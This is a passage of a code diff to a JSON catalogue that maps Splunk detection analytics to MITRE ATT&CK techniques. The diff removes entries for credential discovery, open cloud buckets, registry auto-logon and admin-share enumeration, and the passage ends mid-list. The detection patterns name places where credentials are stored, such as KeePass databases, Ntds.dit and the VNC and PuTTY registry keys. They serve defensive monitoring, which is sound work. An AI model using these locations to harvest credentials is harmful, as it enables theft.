"mitre_attack_groups": [ - "APT38", - "APT39" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - } + ] ], "external_reference": [ [ @@ -217993,54 +166281,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Windows Password Managers Discovery", - "description": "The following analytic identifies command-line activity that searches for files related to password manager software, such as \"*.kdbx*\" and \"*credential*\". It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This activity is significant because attackers often target password manager databases to extract stored credentials, which can be used for further exploitation. If confirmed malicious, this behavior could lead to unauthorized access to sensitive information, enabling attackers to escalate privileges, move laterally, or exfiltrate critical data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*dir *\" OR Processes.process = \"*findstr*\" AND Processes.process IN ( \"*.kdbx*\", \"*credential*\", \"*key3.db*\",\"*pass*\", \"*cred*\", \"*key4.db*\", \"*accessTokens*\", \"*access_tokens*\", \"*.htpasswd*\", \"*Ntds.dit*\") by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_password_managers_discovery_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process with commandline $process$ that can retrieve information related to password manager databases in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1555.005", - "mitre_attack_technique": "Password Managers", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Fox Kitten", - "LAPSUS$", - "Threat Group-3390" - ] - } - ] - } } ], "external_reference": [ @@ -220412,57 +168652,7 @@ "Event ID": null, "Event Name": "Netflow/Enclave netflow" } - ], - { - "name": "Splunk Identified SSL TLS Certificates", - "description": "The following analytic identifies the usage of Splunk default SSL/TLS certificates within the environment. It leverages tags such as SSL, TLS, and certificate to detect these default certificates by examining the ssl_issuer_common_name field. This activity is significant because using default certificates can expose the environment to potential security risks, as they are not unique and can be easily exploited. If confirmed malicious, attackers could intercept or manipulate data, leading to unauthorized access or data breaches. It is recommended to replace default certificates with valid, unique TLS certificates to enhance security.", - "search": "tag IN (ssl, tls, certificate) ssl_issuer_common_name=*splunk* | stats values(src) AS \"Host(s) with Default Cert\" count by ssl_issuer ssl_subject_common_name ssl_subject_organization ssl_subject host sourcetype | `splunk_identified_ssl_tls_certificates_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Proxy", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The following $host$ is using the self signed Splunk certificate.", - "risk_score": 42, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1040", - "mitre_attack_technique": "Network Sniffing", - "mitre_attack_tactics": [ - "Credential Access", - "Discovery" - ], - "mitre_attack_groups": [ - "APT28", - "APT33", - "DarkVishnya", - "Kimsuky", - "Sandworm Team" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -221124,296 +169314,6 @@ "https://azure.microsoft.com/en-us/services/storage/blobs/", "https://cloud.google.com/storage" ] - }, - { - "name": "Detect GCP Storage access from a new IP", - "description": "The following analytic identifies access to GCP Storage buckets from new or previously unseen remote IP addresses. It leverages GCP Storage bucket-access logs ingested via Cloud Pub/Sub and compares current access events against a lookup table of previously seen IP addresses. This activity is significant as it may indicate unauthorized access or potential reconnaissance by an attacker. If confirmed malicious, this could lead to data exfiltration, unauthorized data manipulation, or further compromise of the GCP environment.", - "search": "`google_gcp_pubsub_message` | multikv | rename sc_status_ as status | rename cs_object_ as bucket_name | rename c_ip_ as remote_ip | rename cs_uri_ as request_uri | rename cs_method_ as operation | search status=\"\\\"200\\\"\" | stats earliest(_time) as firstTime latest(_time) as lastTime by bucket_name remote_ip operation request_uri | table firstTime, lastTime, bucket_name, remote_ip, operation, request_uri | inputlookup append=t previously_seen_gcp_storage_access_from_remote_ip | stats min(firstTime) as firstTime, max(lastTime) as lastTime by bucket_name remote_ip operation request_uri | outputlookup previously_seen_gcp_storage_access_from_remote_ip | eval newIP=if(firstTime >= relative_time(now(),\"-70m@m\"), 1, 0) | where newIP=1 | eval first_time=strftime(firstTime,\"%m/%d/%y %H:%M:%S\") | eval last_time=strftime(lastTime,\"%m/%d/%y %H:%M:%S\") | table first_time last_time bucket_name remote_ip operation request_uri | `detect_gcp_storage_access_from_a_new_ip_filter`", - "tags": { - "analytic_story": [ - "Suspicious GCP Storage Activities" - ], - "asset_type": "GCP Storage Bucket", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "remote_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1530", - "mitre_attack_technique": "Data from Cloud Storage", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Fox Kitten", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Detect New Open GCP Storage Buckets", - "description": "The following analytic identifies the creation of new open/public GCP Storage buckets. It leverages GCP PubSub events, specifically monitoring for the `storage.setIamPermissions` method and checks if the `allUsers` member is added. This activity is significant because open storage buckets can expose sensitive data to the public, posing a severe security risk. If confirmed malicious, an attacker could access, modify, or delete data within the bucket, leading to data breaches and potential compliance violations.", - "search": "`google_gcp_pubsub_message` data.resource.type=gcs_bucket data.protoPayload.methodName=storage.setIamPermissions | spath output=action path=data.protoPayload.serviceData.policyDelta.bindingDeltas{}.action | spath output=user path=data.protoPayload.authenticationInfo.principalEmail | spath output=location path=data.protoPayload.resourceLocation.currentLocations{} | spath output=src path=data.protoPayload.requestMetadata.callerIp | spath output=bucketName path=data.protoPayload.resourceName | spath output=role path=data.protoPayload.serviceData.policyDelta.bindingDeltas{}.role | spath output=member path=data.protoPayload.serviceData.policyDelta.bindingDeltas{}.member | search (member=allUsers AND action=ADD) | table _time, bucketName, src, user, location, action, role, member | search `detect_new_open_gcp_storage_buckets_filter`", - "tags": { - "analytic_story": [ - "Suspicious GCP Storage Activities" - ], - "asset_type": "GCP Storage Bucket", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1530", - "mitre_attack_technique": "Data from Cloud Storage", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Fox Kitten", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Detect New Open S3 buckets", - "description": "The following analytic identifies the creation of open/public S3 buckets in AWS. It detects this activity by analyzing AWS CloudTrail events for `PutBucketAcl` actions where the access control list (ACL) grants permissions to all users or authenticated users. This activity is significant because open S3 buckets can expose sensitive data to unauthorized access, leading to data breaches. If confirmed malicious, an attacker could read, write, or fully control the contents of the bucket, potentially leading to data exfiltration or tampering.", - "search": "`cloudtrail` eventSource=s3.amazonaws.com eventName=PutBucketAcl | rex field=_raw \"(?{.+})\" | spath input=json_field output=grantees path=requestParameters.AccessControlPolicy.AccessControlList.Grant{} | search grantees=* | mvexpand grantees | spath input=grantees output=uri path=Grantee.URI | spath input=grantees output=permission path=Permission | search uri IN (\"http://acs.amazonaws.com/groups/global/AllUsers\",\"http://acs.amazonaws.com/groups/global/AuthenticatedUsers\") | search permission IN (\"READ\",\"READ_ACP\",\"WRITE\",\"WRITE_ACP\",\"FULL_CONTROL\") | rename requestParameters.bucketName AS bucketName | stats count min(_time) as firstTime max(_time) as lastTime by user_arn userIdentity.principalId userAgent uri permission bucketName | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_new_open_s3_buckets_filter`", - "tags": { - "analytic_story": [ - "Suspicious AWS S3 Activities" - ], - "asset_type": "S3 Bucket", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "bucketName", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has created an open/public bucket $bucketName$ with the following permissions $permission$", - "risk_score": 48, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1530", - "mitre_attack_technique": "Data from Cloud Storage", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Fox Kitten", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Detect New Open S3 Buckets over AWS CLI", - "description": "The following analytic detects the creation of open/public S3 buckets via the AWS CLI. It leverages AWS CloudTrail logs to identify events where a user has set bucket permissions to allow access to \"AuthenticatedUsers\" or \"AllUsers.\" This activity is significant because open S3 buckets can expose sensitive data to unauthorized users, leading to data breaches. If confirmed malicious, an attacker could gain unauthorized access to potentially sensitive information stored in the S3 bucket, posing a significant security risk.", - "search": "`cloudtrail` eventSource=\"s3.amazonaws.com\" (userAgent=\"[aws-cli*\" OR userAgent=aws-cli* ) eventName=PutBucketAcl OR requestParameters.accessControlList.x-amz-grant-read-acp IN (\"*AuthenticatedUsers\",\"*AllUsers\") OR requestParameters.accessControlList.x-amz-grant-write IN (\"*AuthenticatedUsers\",\"*AllUsers\") OR requestParameters.accessControlList.x-amz-grant-write-acp IN (\"*AuthenticatedUsers\",\"*AllUsers\") OR requestParameters.accessControlList.x-amz-grant-full-control IN (\"*AuthenticatedUsers\",\"*AllUsers\") | rename requestParameters.bucketName AS bucketName | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by userIdentity.userName userIdentity.principalId userAgent bucketName requestParameters.accessControlList.x-amz-grant-read requestParameters.accessControlList.x-amz-grant-read-acp requestParameters.accessControlList.x-amz-grant-write requestParameters.accessControlList.x-amz-grant-write-acp requestParameters.accessControlList.x-amz-grant-full-control | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_new_open_s3_buckets_over_aws_cli_filter`", - "tags": { - "analytic_story": [ - "Suspicious AWS S3 Activities" - ], - "asset_type": "S3 Bucket", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "userIdentity.userName", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $userIdentity.userName$ has created an open/public bucket $bucketName$ using AWS CLI with the following permissions - $requestParameters.accessControlList.x-amz-grant-read$ $requestParameters.accessControlList.x-amz-grant-read-acp$ $requestParameters.accessControlList.x-amz-grant-write$ $requestParameters.accessControlList.x-amz-grant-write-acp$ $requestParameters.accessControlList.x-amz-grant-full-control$", - "risk_score": 48, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1530", - "mitre_attack_technique": "Data from Cloud Storage", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Fox Kitten", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Detect S3 access from a new IP", - "description": "The following analytic identifies access to an S3 bucket from a new or previously unseen remote IP address. It leverages S3 bucket-access logs, specifically focusing on successful access events (http_status=200). This activity is significant because access from unfamiliar IP addresses could indicate unauthorized access or potential data exfiltration attempts. If confirmed malicious, this activity could lead to unauthorized data access, data theft, or further exploitation of the compromised S3 bucket, posing a significant risk to sensitive information stored within the bucket.", - "search": "`aws_s3_accesslogs` http_status=200 [search `aws_s3_accesslogs` http_status=200 | stats earliest(_time) as firstTime latest(_time) as lastTime by bucket_name remote_ip | inputlookup append=t previously_seen_S3_access_from_remote_ip | stats min(firstTime) as firstTime, max(lastTime) as lastTime by bucket_name remote_ip | outputlookup previously_seen_S3_access_from_remote_ip| eval newIP=if(firstTime >= relative_time(now(), \"-70m@m\"), 1, 0) | where newIP=1 | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | table bucket_name remote_ip]| iplocation remote_ip |rename remote_ip as src_ip | table _time bucket_name src_ip City Country operation request_uri | `detect_s3_access_from_a_new_ip_filter`", - "tags": { - "analytic_story": [ - "Suspicious AWS S3 Activities" - ], - "asset_type": "S3 Bucket", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "bucketName", - "type": "Other", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "New S3 access from a new IP - $src_ip$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1530", - "mitre_attack_technique": "Data from Cloud Storage", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Fox Kitten", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Detect Spike in S3 Bucket deletion", - "description": "The following analytic identifies a spike in API activity related to the deletion of S3 buckets in your AWS environment. It leverages AWS CloudTrail logs to detect anomalies by comparing current deletion activity against a historical baseline. This activity is significant as unusual spikes in S3 bucket deletions could indicate malicious actions such as data exfiltration or unauthorized data destruction. If confirmed malicious, this could lead to significant data loss, disruption of services, and potential exposure of sensitive information. Immediate investigation is required to determine the legitimacy of the activity.", - "search": "`cloudtrail` eventName=DeleteBucket [search `cloudtrail` eventName=DeleteBucket | spath output=arn path=userIdentity.arn | stats count as apiCalls by arn | inputlookup s3_deletion_baseline append=t | fields - latestCount | stats values(*) as * by arn | rename apiCalls as latestCount | eval newAvgApiCalls=avgApiCalls + (latestCount-avgApiCalls)/720 | eval newStdevApiCalls=sqrt(((pow(stdevApiCalls, 2)*719 + (latestCount-newAvgApiCalls)*(latestCount-avgApiCalls))/720)) | eval avgApiCalls=coalesce(newAvgApiCalls, avgApiCalls), stdevApiCalls=coalesce(newStdevApiCalls, stdevApiCalls), numDataPoints=if(isnull(latestCount), numDataPoints, numDataPoints+1) | table arn, latestCount, numDataPoints, avgApiCalls, stdevApiCalls | outputlookup s3_deletion_baseline | eval dataPointThreshold = 15, deviationThreshold = 3 | eval isSpike=if((latestCount > avgApiCalls+deviationThreshold*stdevApiCalls) AND numDataPoints > dataPointThreshold, 1, 0) | where isSpike=1 | rename arn as userIdentity.arn | table userIdentity.arn] | spath output=user userIdentity.arn | spath output=bucketName path=requestParameters.bucketName | stats values(bucketName) as bucketName, count as numberOfApiCalls, dc(eventName) as uniqueApisCalled by user | `detect_spike_in_s3_bucket_deletion_filter`", - "tags": { - "analytic_story": [ - "Suspicious AWS S3 Activities" - ], - "asset_type": "S3 Bucket", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1530", - "mitre_attack_technique": "Data from Cloud Storage", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Fox Kitten", - "Scattered Spider" - ] - } - ] - } } ], "external_reference": [ @@ -222369,167 +170269,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" ] - }, - { - "name": "Add DefaultUser And Password In Registry", - "description": "The following analytic detects suspicious registry modifications that implement auto admin logon by adding DefaultUserName and DefaultPassword values. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" registry path. This activity is significant because it is associated with BlackMatter ransomware, which uses this technique to automatically log on to compromised hosts and continue encryption after a safe mode boot. If confirmed malicious, this could allow attackers to maintain persistence and further encrypt the network, leading to significant data loss and operational disruption.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon*\" AND Registry.registry_value_name= DefaultPassword OR Registry.registry_value_name= DefaultUserName) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.dest Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `add_defaultuser_and_password_in_registry_filter`", - "tags": { - "analytic_story": [ - "BlackMatter Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "modified registry key $registry_key_name$ with registry value $registry_value_name$ to prepare autoadminlogon", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.002", - "mitre_attack_technique": "Credentials in Registry", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT32" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Auto Admin Logon Registry Entry", - "description": "The following analytic detects a suspicious registry modification that enables auto admin logon on a host. It leverages data from the Endpoint.Registry data model, specifically looking for changes to the \"AutoAdminLogon\" value within the \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\" registry path. This activity is significant because it was observed in BlackMatter ransomware attacks to maintain access after a safe mode reboot, facilitating further encryption. If confirmed malicious, this could allow attackers to automatically log in and continue their operations, potentially leading to widespread network encryption and data loss.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon*\" AND Registry.registry_value_name=AutoAdminLogon AND Registry.registry_value_data=1) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.dest | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `auto_admin_logon_registry_entry_filter`", - "tags": { - "analytic_story": [ - "BlackMatter Ransomware", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "modified registry key $registry_key_name$ with registry value $registry_value_name$ to prepare autoadminlogon", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.002", - "mitre_attack_technique": "Credentials in Registry", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT32" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Credentials in Registry Reg Query", - "description": "The following analytic identifies processes querying the registry for potential passwords or credentials. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that access specific registry paths known to store sensitive information. This activity is significant as it may indicate credential theft attempts, often used by adversaries or post-exploitation tools like winPEAS. If confirmed malicious, this behavior could lead to privilege escalation, persistence, or lateral movement within the network, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_reg` AND Processes.process = \"* query *\" AND Processes.process IN (\"*\\\\Software\\\\ORL\\\\WinVNC3\\\\Password*\", \"*\\\\SOFTWARE\\\\RealVNC\\\\WinVNC4 /v password*\", \"*\\\\CurrentControlSet\\\\Services\\\\SNMP*\", \"*\\\\Software\\\\TightVNC\\\\Server*\", \"*\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions*\", \"*\\\\Software\\\\OpenSSH\\\\Agent\\\\Keys*\", \"*password*\") by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_credentials_in_registry_reg_query_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "reg query commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.002", - "mitre_attack_technique": "Credentials in Registry", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT32" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -223350,398 +171089,7 @@ "Event ID": null, "Event Name": "Network protocol analysis" } - ], - { - "name": "Network Share Discovery Via Dir Command", - "description": "The following analytic detects access to Windows administrative SMB shares (Admin$, IPC$, C$) using the 'dir' command. It leverages Windows Security Event Logs with EventCode 5140 to identify this activity. This behavior is significant as it is commonly used by tools like PsExec/PaExec for staging binaries before creating and starting services on remote endpoints, a technique often employed by adversaries for lateral movement and remote code execution. If confirmed malicious, this activity could allow attackers to propagate malware, such as IcedID, across the network, leading to widespread infection and potential data breaches.", - "search": "`wineventlog_security` EventCode=5140 ShareName IN(\"\\\\\\\\*\\\\ADMIN$\",\"\\\\\\\\*\\\\C$\",\"*\\\\\\\\*\\\\IPC$\") AccessMask= 0x1 | stats min(_time) as firstTime max(_time) as lastTime count by ShareName IpAddress ObjectType SubjectUserName SubjectDomainName IpPort AccessMask Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `network_share_discovery_via_dir_command_filter`", - "tags": { - "analytic_story": [ - "IcedID" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "$user$ list executable files or directory in known sensitive SMB share. Share name=$ShareName$, Access mask=$AccessMask$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1135", - "mitre_attack_technique": "Network Share Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT32", - "APT38", - "APT39", - "APT41", - "Chimera", - "DarkVishnya", - "Dragonfly", - "FIN13", - "Sowbug", - "Tonto Team", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Administrative Shares Accessed On Multiple Hosts", - "description": "The following analytic detects a source computer accessing Windows administrative shares (C$, Admin$, IPC$) on 30 or more remote endpoints within a 5-minute window. It leverages Event IDs 5140 and 5145 from file share events. This behavior is significant as it may indicate an adversary enumerating network shares to locate sensitive files, a common tactic used by threat actors. If confirmed malicious, this activity could lead to unauthorized access to critical data, lateral movement, and potential compromise of multiple systems within the network.", - "search": " `wineventlog_security` EventCode=5140 OR EventCode=5145 (ShareName=\"\\\\\\\\*\\\\ADMIN$\" OR ShareName=\"\\\\\\\\*\\\\IPC$\" OR ShareName=\"\\\\\\\\*\\\\C$\") | bucket span=5m _time | stats dc(Computer) AS unique_targets values(Computer) as host_targets values(ShareName) as shares by _time, IpAddress, SubjectUserName, EventCode | where unique_targets > 30 | `windows_administrative_shares_accessed_on_multiple_hosts_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "host_targets", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "$IpAddress$ accessed the IPC share on more than 30 endpoints in a timespan of 5 minutes.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1135", - "mitre_attack_technique": "Network Share Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT32", - "APT38", - "APT39", - "APT41", - "Chimera", - "DarkVishnya", - "Dragonfly", - "FIN13", - "Sowbug", - "Tonto Team", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows File Share Discovery With Powerview", - "description": "The following analytic detects the execution of the Invoke-ShareFinder PowerShell cmdlet from PowerView. This detection leverages PowerShell Script Block Logging to identify instances where this specific command is executed. Monitoring this activity is crucial as it indicates an attempt to enumerate network file shares, which may contain sensitive information such as backups, scripts, and credentials. If confirmed malicious, this activity could enable an attacker to escalate privileges or move laterally within the network, potentially compromising additional systems and sensitive data.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=Invoke-ShareFinder*) | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_file_share_discovery_with_powerview_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "UserID", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Invoke-ShareFinder commandlet was executed on $Computer$", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1135", - "mitre_attack_technique": "Network Share Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT32", - "APT38", - "APT39", - "APT41", - "Chimera", - "DarkVishnya", - "Dragonfly", - "FIN13", - "Sowbug", - "Tonto Team", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Large Number of Computer Service Tickets Requested", - "description": "The following analytic detects a high volume of Kerberos service ticket requests, specifically more than 30, from a single source within a 5-minute window. It leverages Event ID 4769, which logs when a Kerberos service ticket is requested, focusing on requests with computer names as the Service Name. This behavior is significant as it may indicate malicious activities such as lateral movement, malware staging, or reconnaissance. If confirmed malicious, an attacker could gain unauthorized access to multiple endpoints, potentially compromising the entire network.", - "search": " `wineventlog_security` EventCode=4769 ServiceName=\"*$\" TargetUserName!=\"*$\" | bucket span=5m _time | stats dc(ServiceName) AS unique_targets values(ServiceName) as host_targets by _time, IpAddress, TargetUserName | where unique_targets > 30 | `windows_large_number_of_computer_service_tickets_requested_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A large number of kerberos computer service tickets were requested by $IpAddress$ within 5 minutes.", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1135", - "mitre_attack_technique": "Network Share Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT32", - "APT38", - "APT39", - "APT41", - "Chimera", - "DarkVishnya", - "Dragonfly", - "FIN13", - "Sowbug", - "Tonto Team", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - 